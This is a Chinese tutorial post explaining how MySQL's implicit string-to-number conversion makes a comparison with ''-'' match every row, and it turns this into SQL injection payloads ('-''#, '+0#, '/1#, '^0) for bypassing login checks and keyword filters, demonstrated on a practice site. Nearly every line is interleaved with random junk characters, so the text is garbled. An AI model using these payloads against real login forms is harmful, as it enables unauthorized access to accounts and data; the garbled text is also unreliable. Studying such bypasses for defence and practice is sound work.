我们先来看这样一个场景。+ b$ a" f* c& }! v5 Y+ m, Z
有以下表结构: $ ^8 U# P- F! z; I& v) E
( m4 {0 G1 l: y& T* @( @) y* Amysql> desc admin;( u; P1 F' Q& J. T! q. J- Z# [
+----------+--------------+------+-----+---------+----------------+. q( B3 n7 z1 y$ E! K" @& h, l
| Field | Type | Null | Key | Default | Extra |
9 f6 B' j/ b- f, K8 z- N7 T+----------+--------------+------+-----+---------+----------------+7 ?( X" O* K" y) J
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
9 y$ }: c5 y- u& y| name | char(32) | NO | UNI | NULL | |8 J3 i( L7 e: Z6 b" p
| password | char(32) | NO | UNI | NULL | |2 P4 ?, J A# K* f5 m
+----------+--------------+------+-----+---------+----------------+
' q. k% i. ~: _; U* }3 ]3 rows in set (0.00 sec)- h, E& p. z6 w% t1 o
执行select * from admin;,成功返回所有记录内容。
) b5 O! R* N3 j0 A: X+ }8 ^% t8 V3 ]
! \. s) ?3 `. Y. x H
+----+--------+----------------------------------+
" z* H" d7 i! ~' s1 Z| id | name | password |: [9 B" X: C9 p/ ~( g4 T
+----+--------+----------------------------------+2 V$ Z r' p4 a) j6 k; W. m
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |2 O9 U% A. o! O- n0 {, d
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |9 ]6 l$ [1 ?" X1 r
| 4 | n00b | ff80e8508d39047460921792273533a4 |; N0 C3 A( Z: T7 p' j2 V/ V! B7 S
+----+--------+----------------------------------+
- l& r! S. K& G2 W5 f$ D2 F- S3 rows in set (0.00 sec)* u" u% i: n2 F, b7 } e3 G+ m
执行select * from admin where name=”;,没有匹配到任何记录。 : m& ]" M8 G% [- F4 R, Z
+ {/ ^0 {3 s7 Z7 _( w' T
mysql> select * from admin where name = '';. h$ |4 g. [ \$ J' W1 u
Empty set (0.00 sec)0 @" e: N$ k- _) h
那么我们来执行select * from admin where name = ”-”;8 f9 l6 i( j: l7 ]6 l4 I8 @7 E( f) n' f
) x& |7 T3 e; J9 S+ E K n! b8 Y: F5 y" b( ^& e
+----+--------+----------------------------------+
# H" x" {! ^! g3 O5 c: n6 c0 V9 q# B| id | name | password |" A( G) s6 [( p* t8 r
+----+--------+----------------------------------+3 q1 b( k1 i: r) l& L
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
( e- p- H% |' d: \+ l4 g* r| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |$ [: I% p& m/ ~; ^9 }
| 4 | n00b | ff80e8508d39047460921792273533a4 |
; w$ N. |3 v( q, u. b+----+--------+----------------------------------+7 Y" x6 q+ q+ [2 L
3 rows in set, 3 warnings (0.00 sec)
; a7 w A- s* A7 W6 j+ v可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
& q: `8 A& ^* u1 w/ L# u- |' n1 g
7 e: e) |( `/ dmysql> show warnings;% U' Q4 ?1 ]+ n- |, s
+---------+------+------------------------------------------
6 F) s) I" f, Z! A. J% `| Level | Code | Message$ e2 t9 O' @& {' E; \
+---------+------+------------------------------------------4 ~1 C9 _5 N# i4 b2 Z3 z6 N$ p
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
3 N5 v+ Q9 j( q8 F( j- g6 P+ i3 P| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
$ e/ z7 P/ j- r( `+ P| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b7 `) |5 ]* h" q! e3 Z4 M
+---------+------+------------------------------------------& x3 ?" m# L. W/ u
3 rows in set (0.00 sec)
2 T5 V: ]0 [8 f1 c7 u提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
/ x6 e/ |; y* N0 h* i3 p( W/ O
' Q8 P9 {% _4 H$ c8 Q% cmysql> select ''-'';3 a4 N" P' J$ u2 S
+-------+
6 W- K" H) {% D6 e| ''-'' |; [* b9 K5 v) A6 W: E" D
+-------+ t3 V( f% O3 F1 E) D' T B
| 0 |
$ P3 a$ y: K' X. X, F+-------+
5 S9 W6 n5 w+ S8 o2 F1 row in set (0.00 sec)
) r& L6 J. i1 k* [返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
# C P5 p" k7 W5 p1 n4 e/ o c, ]1 x ~ w
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
$ {; z5 z0 q; Z( B$ {1 T+-----------------------------------------------------+
" g) Q# N# }$ z5 G& Z' |6 [( m| CAST((select name from admin limit 1,1) as DECIMAL) |. w1 Z. }% I* q/ R( t0 D8 q
+-----------------------------------------------------+. I- f$ _3 g; D1 ?4 Y
| 0 |
2 ?# s9 c2 u& I! A) C3 k+-----------------------------------------------------+
+ j3 n" H; V) A! Z1 row in set, 1 warning (0.00 sec)) G# D# d/ X8 y% `) f
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
E+ k3 A6 Q- x4 L4 Q, r7 x7 X2 m# T
SQL注入场景: http://www.sqlzoo.net/hack/
8 r* @& ]" Y9 I/ W. j7 J- ~( K! ?, q ?% u/ n+ g
& c- N* `) u/ W6 A
; t/ T; m( g3 m1 R) ?* {. x
. h6 G/ `3 v% \# j
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
4 p5 c% G. M7 _ H# D/ j
$ I* b6 C+ l2 Z% f1 L9 V0 u那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 n% }, \+ o) i
! N" J) B% O @+ D3 i: a; S) t5 H8 {8 K
4 w. Y# P9 N& `6 _ y
+ f2 o; M9 G9 G! N' g
) P9 p9 S/ b* u& T仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
, f' e2 q# p7 Q* ?5 O9 G3 r4 e; n% V% J4 l) u* e
1 |3 `# k1 f [; L/ m
! J& a1 X8 l3 K1 ?6 ]9 V, T除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
: k z5 ^( F1 v Y' l7 i
5 G1 `" x5 n5 U$ i9 V4 y
, ^; N8 N6 s1 W" L3 I4 Smysql> select ''/1;
. h( S# v3 z8 \+------+/ z8 u. D9 ?7 f7 D' ~$ e
| ''/1 |
2 [3 i8 s: I" _ ]. M+------+% ?/ d+ x/ k3 c% {: z
| 0 |. u9 Z+ T4 b2 `
+------+$ R% D& l" b( ?. O. x
1 row in set (0.00 sec)0 K) {/ @3 Z- S+ U2 f4 h9 r
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
7 x6 |% H6 U# C) U/ n/ i7 N( I1 x, d" X
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
+ ~2 p- W/ f% N" f/ G2 g0 o |
|